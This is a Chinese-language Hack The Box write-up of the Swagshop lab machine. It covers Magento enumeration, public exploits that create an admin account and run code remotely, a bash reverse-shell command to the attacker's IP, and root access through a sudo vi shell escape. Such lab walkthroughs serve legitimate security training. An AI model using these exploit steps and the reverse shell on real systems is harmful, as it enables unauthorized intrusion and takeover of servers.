1. 程式人生 > >【HTB系列】 靶機Swagshop的滲透測試詳解

【HTB系列】 靶機Swagshop的滲透測試詳解

__出品|MS08067實驗室(www.ms08067.com)__ `本文作者:是大方子(Ms08067實驗室核心成員)` **總結與反思** * 使用vi提權 * magento漏洞的利用 * magescan 工具的使用 **靶機介紹** ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210303215056166-921259975.png) 靶機IP:10.10.10.140 kali:10.10.12.69 先用nmap來對靶機進行探測 ``` nmap ‐sC ‐sV ‐T 5 ‐oA Swagshop.nmap 10.10.10.140 ``` 掃描結果 ``` # Nmap 7.80 scan initiated Fri Oct 4 13:24:03 2019 as: nmap ‐sC ‐sV ‐T 5 ‐oA Swagshop.nmap 10.10.10.140 Warning: 10.10.10.140 giving up on port because retransmission cap hit (2). Nmap scan report for 10.10.10.140 Host is up (0.33s latency). Not shown: 855 closed ports, 143 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) | ssh‐hostkey: | 256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA) |_ 256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http‐title: Home page Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at http s://nmap.org/submit/ . # Nmap done at Fri Oct 4 13:25:16 2019 ‐‐ 1 IP address (1 host up) scann ed in 73.75 seconds ``` 開放了22 和 80埠,直接開啟訪問下網頁 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210303215157296-22374027.png) Magento是一款新的專業開源電子商務平臺,採用php進行開發,使用Zend Framework框架。 設計得非常靈活,具有模組化架構體系和豐富的功能。易於與第三方應用系統無縫整合。在設計上,包含相當全面,以模組化架構體系,讓應用組合變得相當靈活,功能也相當豐富。 接下來就是網頁上進行資訊收集。 首先是下面的版權,2014年可以為找漏洞的線索 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210303215232781-1796808955.png) 我們隨便點開網頁有一個比較奇怪的地方,感覺像是URL重寫,前面都會多一個index.php ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210303215251710-1045997990.png) 通過gubuster,跑出來的目錄也沒有什麼用 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210303215338483-1100465016.png) 這樣收集的資訊也不是很夠,我們還需要另外的工具進行輔助 magescan 專門針對magento的掃描器 下載地址:https://github.com/steverobbins/magescan/releases ``` >php magescan.phar scan:all http://10.10.10.140 Scanning http://10.10.10.140/... Magento Information +‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+ | Parameter | Value | +‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+ | Edition | Community | | Version | 1.9.0.0, 1.9.0.1 | +‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+ Installed Modules No detectable modules were found Catalog Information +‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐+ | Type | Count | +‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐+ | Categories | Unknown | | Products | Unknown | +‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐+ Patches +‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐+ | Name | Status | +‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐+ | SUPEE‐5344 | Unknown | | SUPEE‐5994 | Unknown | | SUPEE‐6285 | Unknown | | SUPEE‐6482 | Unknown | | SUPEE‐6788 | Unknown | | SUPEE‐7405 | Unknown | | SUPEE‐8788 | Unknown | +‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐+ Sitemap Sitemap is not declared in robots.txt Sitemap is not accessible: http://10.10.10.140/sitemap.xml Server Technology +‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+ | Key | Value | +‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+ | Server | Apache/2.4.18 (Ubuntu) | +‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+ Unreachable Path Check +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐ + | Path | Response Code | Status | +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐ + | .bzr/ | 404 | Pass | | .cvs/ | 404 | Pass | | .git/ | 404 | Pass | | .git/config | 404 | Pass | | .git/refs/ | 404 | Pass | | .gitignore | 404 | Pass | | .hg/ | 404 | Pass | | .idea | 404 | Pass | | .svn/ | 404 | Pass | | .svn/entries | 404 | Pass | | admin/ | 404 | Pass | | admin123/ | 404 | Pass | | adminer.php | 404 | Pass | | administrator/ | 404 | Pass | | adminpanel/ | 404 | Pass | | aittmp/index.php | 404 | Pass | | app/etc/enterprise.xml | 404 | Pass | | app/etc/local.xml | 200 | Fail | | backend/ | 404 | Pass | | backoffice/ | 404 | Pass | | beheer/ | 404 | Pass | | capistrano/config/deploy.rb | 404 | Pass | | chive | 404 | Pass | | composer.json | 404 | Pass | | composer.lock | 404 | Pass | | vendor/composer/installed.json | 404 | Pass | | config/deploy.rb | 404 | Pass | | control/ | 404 | Pass | | dev/tests/functional/etc/config.xml | 404 | Pass | | downloader/index.php | 404 | Pass | | index.php/rss/order/NEW/new | 200 | Fail | | info.php | 404 | Pass | | mageaudit.php | 404 | Pass | | magmi/ | 404 | Pass | | magmi/conf/magmi.ini | 404 | Pass | | magmi/web/magmi.php | 404 | Pass | | Makefile | 404 | Pass | | manage/ | 404 | Pass | | management/ | 404 | Pass | | manager/ | 404 | Pass | | modman | 404 | Pass | | p.php | 404 | Pass | | panel/ | 404 | Pass | | phpinfo.php | 404 | Pass | | phpmyadmin | 404 | Pass | | README.md | 404 | Pass | | README.txt | 404 | Pass | | shell/ | 200 | Fail | | shopadmin/ | 404 | Pass | | site_admin/ | 404 | Pass | | var/export/ | 404 | Pass | | var/export/export_all_products.csv | 404 | Pass | | var/export/export_customers.csv | 404 | Pass | | var/export/export_product_stocks.csv | 404 | Pass | | var/log/ | 404 | Pass | | var/log/exception.log | 404 | Pass | | var/log/payment_authnetcim.log | 404 | Pass | | var/log/payment_authorizenet.log | 404 | Pass | | var/log/payment_authorizenet_directpost.log | 404 | Pass | | var/log/payment_cybersource_soap.log | 404 | Pass | | var/log/payment_ogone.log | 404 | Pass | | var/log/payment_payflow_advanced.log | 404 | Pass | | var/log/payment_payflow_link.log | 404 | Pass | | var/log/payment_paypal_billing_agreement.log | 404 | Pass | | var/log/payment_paypal_direct.log | 404 | Pass | | var/log/payment_paypal_express.log | 404 | Pass | | var/log/payment_paypal_standard.log | 404 | Pass | | var/log/payment_paypaluk_express.log | 404 | Pass | | var/log/payment_pbridge.log | 404 | Pass | | var/log/payment_verisign.log | 404 | Pass | | var/log/system.log | 404 | Pass | | var/report/ | 404 | Pass | +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐ + ``` 從掃描結果我們可以看到magento的版本大概為1.9.0.0, 1.9.0.1。 敏感路徑: ``` /app/etc/local.xml(有線索) /index.php/rss/order/NEW/new(無用) /shopadmin/ ``` ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210303215456180-20194974.png) 接下來用searchsploit來找下magento現在已經的漏洞 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210303215508699-613815515.png) 通過 -x 引數可以看到這些EXP的內容 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210303215543200-150119653.png) 主要是用到這兩個: **第一個,用來進行遠端程式碼執行(但是需要通過身份驗證) 。** **第二個,可以用來建立管理員賬號密碼(給第一個EXP的利用創造條件)。 ** 先試用第二個EXP,建立管理員賬號密碼 通過-m 引數可以吧EXP複製到當前路徑 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210303215620919-1955377505.png) 然後對EXP進行修改,這裡修改3個地方。 1. 在之前我們也看到,網頁前面都會增加index.php,所以這裡我們也要加,否則。。。。你自己可以試試看會是包 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210303215759689-950677854.png) 2. 這裡修改我們增加管理的賬號密碼 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210303215816540-123557075.png) 3. 修改下輸出資訊,方便成功後能直觀看到我們的賬號密碼 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210303215831038-209147267.png) 然後執行下 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210303215845508-472382856.png) 我們嘗試登入下 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210303215858909-603127464.png) 成功登入 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210303215910269-870117685.png) 接下來就是利用另一個EXP,來進行遠端程式碼執行 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210303215921893-1958140303.png) 重新編輯下EXP ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210303215934257-1442117789.png) 我們可以看到我們需要配置的地方 ``` username:dfz password:dfz php_function:我們不需要修改 install_data:在上面我們發現的/app/etc/local.xml可以查詢到 ``` ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210303220012921-1644050652.png) 配置好的資訊如下: ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210303220023711-1012529783.png) 開始執行 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210303220035207-288058847.png) **可以看到mechanize報了一個找不到元素的錯,mechanize是python裡面模擬瀏覽器操作的模組。**結合它需要管理員賬號密碼,這裡應該填的是管理員頁面地址。 可以看到命令執行成功 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210303220102618-499664128.png) 那麼我們就用它反彈shell ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210303220114707-316929242.png) 無法正常反彈! 這裡猜測,**可能是因為這串程式碼傳到伺服器的時候 可能因為空格或者是其他的異常的符導致伺服器執行失敗**。之前我們看到whoami命令是可以正常執行的。那麼我們就把程式碼換成這樣 ``` python 37811.py http://10.10.10.140/index.php/admin "bash ‐c 'bash ‐i >&/dev/tcp/10.10.12.69/4444 0>&1' " ``` 這樣當伺服器解析到bash -c 時 可以把後面單引號內的內容執行,防止意外干擾 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210303220218928-655545267.png) 成功!!!我們看下自己的sudo許可權 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210303220230874-322134197.png) **可以看到我們使用vi和使用目錄/var/www/html是不需要密碼就能獲得root許可權的。** 第一反應就是使用vi來進行提權,先使用python的pty ``` python ‐c "import pty;pty.spawn('/bin/bash')" ``` ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210303220308916-1418250266.png) 發現沒有python,但是我們可以用python3 ``` python3 ‐c "import pty;pty.spawn('/bin/bash')" ``` ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210303220337306-2079189579.png) 然後在處理方向鍵等亂碼問題。 先ctrl+z 把程序掛到後臺,然後輸入stty raw -echo,在輸入fg(不會顯示出來),多按幾次回車即可 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210303220401327-73252636.png) 然後需要使用vi進行提權,需要注意的是: 1. 要增加sudo 2. vi要輸入檔案的絕對路徑 ``` sudo vi /var/www/html/sdfzy ``` vi開啟後進入命令列模式,然後執行命令 ``` :!/bin/bash ``` ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210303220435449-41638579.png) ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210303220442454-1492230249.png) 即可拿到root許可權!       **轉載請聯絡作者並註明出處!** Ms08067安全實驗室專注於網路安全知識的普及和培訓。團隊已出版《Web安全攻防:滲透測試實戰指南》,《內網安全攻防:滲透測試實戰指南》,《Python安全攻防:滲透測試實戰指南》,《Java程式碼安全審計(入門篇)》等書籍。 團隊公眾號定期分享關於CTF靶場、內網滲透、APT方面技術乾貨,從零開始、以實戰落地為主,致力於做一個實用的乾貨分享型公眾號。 官方網站:https://www.ms08067.com/ 掃描下方二維碼加入實驗室VIP社群 加入後邀請加入內部VIP群,內部微信群永久有效!

相關推薦

HTB系列 靶機Swagshop滲透測試

__出品|MS08067實驗室(www.ms08067.com)__ `本文作者:是大方子(Ms08067實驗室核心成員)` **總結與反思** * 使用vi提權 * magento漏洞的利用 * magescan 工具的使用 **靶機介紹** ![](https://img2020.cnblogs.

HTB系列靶機Access的滲透測試

__出品|MS08067實驗室(www.ms08067.com)__ `本文作者:大方子(Ms08067實驗室核心成員)` Hack The Box是一個CTF挑戰靶機平臺,線上滲透測試平臺。它能幫助你提升滲透測試技能和黑盒測試技能,它包含了一些不斷更新的挑戰,其中有模擬真實世界場景,也有傾向於CTF風格

HTB系列靶機Chaos的滲透測試

__出品|MS08067實驗室(www.ms08067.com)__ `本文作者:大方子(Ms08067實驗室核心成員)` **知識點:** 1. 通過域名或者IP可能會得到網站的不同響應 2. Wpscan的掃描wordpress 3. 修改hosts來對網頁郵件系統webmail進行訪問 4. LaT

HTB系列靶機Bitlab的滲透測試

__出品|MS08067實驗室(www.ms08067.com)__ `本文作者:是大方子(Ms08067實驗室核心成員)` ##0x00 本文目錄 * 反思與總結 * 基本資訊 * 滲透測試過程 * 補充 ##0x01 反思與總結 1. curl 傳送GET引數化請求 2. 對反彈回來的shell進行

專欄 - Python Selenium自動化測試

Python Selenium自動化測試詳解 使用Python語言操作Selenium(webdriver)進行UI自動化測試的一些技能、API詳解、問題解決辦法以及程式碼示例、以及自動化測試框架的搭建

Mint-UIAction sheet 用法及(內含取消事件的觸發方法)

鑑於mint-ui官方文件的極簡描述和對功能介紹的點到為止,許多功能的完全實現是需要通過閱讀原始碼才可以知道其真正的用法。 今天給大家介紹一下Action sheet的用法,以及我踩過的坑,感覺比較有意義,希望能幫到各位。 效果圖: 首先我先帶大家看一下官方的介紹: act

人人都是Pythoner超全python的collections模組

前言: python中內建容器包括list、dict、set、tuple,而python中的collections模組則另引入了五種資料結構,更好地滿足編碼需求。 下文驗證資料型別方法用到的程式碼放在了我的github上,歡迎下載: AdvancingMsCat的github co

Gans入門Pytorch實現Gans程式碼70+程式碼

簡述 由於科技論文老師要求閱讀Gans論文並在網上找到類似的程式碼來學習。 程式碼來源 程式碼含義概覽 這個大致講講這個程式碼實現了什麼。 這個模型的輸入為:一些資料夾雜在x2x^2x2和2x2+12x^2+12x2+1這個兩個函式之間的一些資料。這個用線性

Java Web: JSON 資料格式

  JSON (JavaScript Object Notation) JavaScript物件圖,它是由Douglas Crockford(道格拉斯·克洛克福特)發明的。   JSON與XML一樣

Linux驅動Linux裝置樹語法

1 概念Linux核心從3.x開始引入裝置樹的概念,用於實現驅動程式碼與裝置資訊相分離。在裝置樹出現以前,所有關於裝置的具體資訊都要寫在驅動裡,一旦外圍裝置變化,驅動程式碼就要重寫。引入了裝置樹之後,驅動程式碼只負責處理驅動的邏輯,而關於裝置的具體資訊存放到裝置樹檔案中,這樣,如果只是硬體介面資訊的變化而沒有

SSH 基礎SSH框架--struts深入(二)

繼上篇部落格 既然我們知道了不使用struts給我們帶來這麼多弊端,那麼下面我們來看看struts是如何封裝的,怎麼解決我們出現的問題的? 先來說一下struts的基本流程,幫助大家理解下面的程式碼: Struts基本簡要流程如下:      1、客戶端瀏覽器發出HT

Java Web: GSON 資料格式

    在上一講中我們講到了 JSON資料格式的內容,這一講我們來講一下Google對JSON這種格式的支援。     我們看到Java中的JSON庫除了org.json之外還有一個 google-g

Redis學習:set資料型別

set資料結構 常用命令 新增/刪除元素 sadd key values[value1 value2 ...] 向set中新增資料,如果該key的值已有不會重複新增。 srem

Redis學習:list資料型別

list資料結構 在redis中,list資料結構是按照插入順序的字串連結串列,和資料結構中的普通連結串列一樣,我們可以在其頭部(left)和尾部(right)新增新的元素。在插入時,如果該鍵並不

網路安全加解密演算法最

資料簽名、加密是前後端開發經常需要使用到的技術,應用場景包括不限於使用者登入、資料交易、資訊通訊等,不同的應用場景也會需要使用到不同的簽名加密演算法,或者需要搭配不一樣的 簽名加密演算法來達到業務目標。常用的加密演算法有: 對稱加密演算法; 非對稱加密演算法; 雜湊演算法,加鹽雜湊演算法(單向加密); 數

Flutter 實戰pubspec.yaml 配置檔案

![](https://img2020.cnblogs.com/other/467322/202011/467322-20201104214438153-1813741256.png) > **老孟導讀**:**pubspec.yaml** 檔案是 Flutter 中非常重要的配置檔案,下面就讓我們看

HTB靶場系列靶機Carrier的滲透測試

__出品|MS08067實驗室(www.ms08067.com)__ `本文作者:大方子(Ms08067實驗室核心成員)` Hack The Box是一個CTF挑戰靶機平臺,線上滲透測試平臺。它能幫助你提升滲透測試技能和黑盒測試技能,它包含了一些不斷更新的挑戰,其中有模擬真實世界場景,也有傾向於CTF風格

安全牛學習筆記Kali Linux滲透測試方法

信息安全 kali linux security+ 1.安全問題的根源①由於分層思想,導致每個層次的相關人員都只關心自己層次的工作,因此每個人認識系統都是片面的,而安全是全方位的,整體的,所以造成安全問題。②技術人員追求效率,導致只追求功能實現,而很容易忽略安全性的工作③由於人都是會犯錯誤的,因此

安全牛學習筆記​Kali Linux滲透測試介紹

Kali Linux滲透測試介紹 安全問題的根源         優點:分工明確,工作效率高。(把大問題簡化成易於解決的小問題)         缺點:從業人員對系統沒有整體的認識,對安全認識較為片面。(搞技術的為了提高工作效率,只追求功能實現, 很少能在實現功能後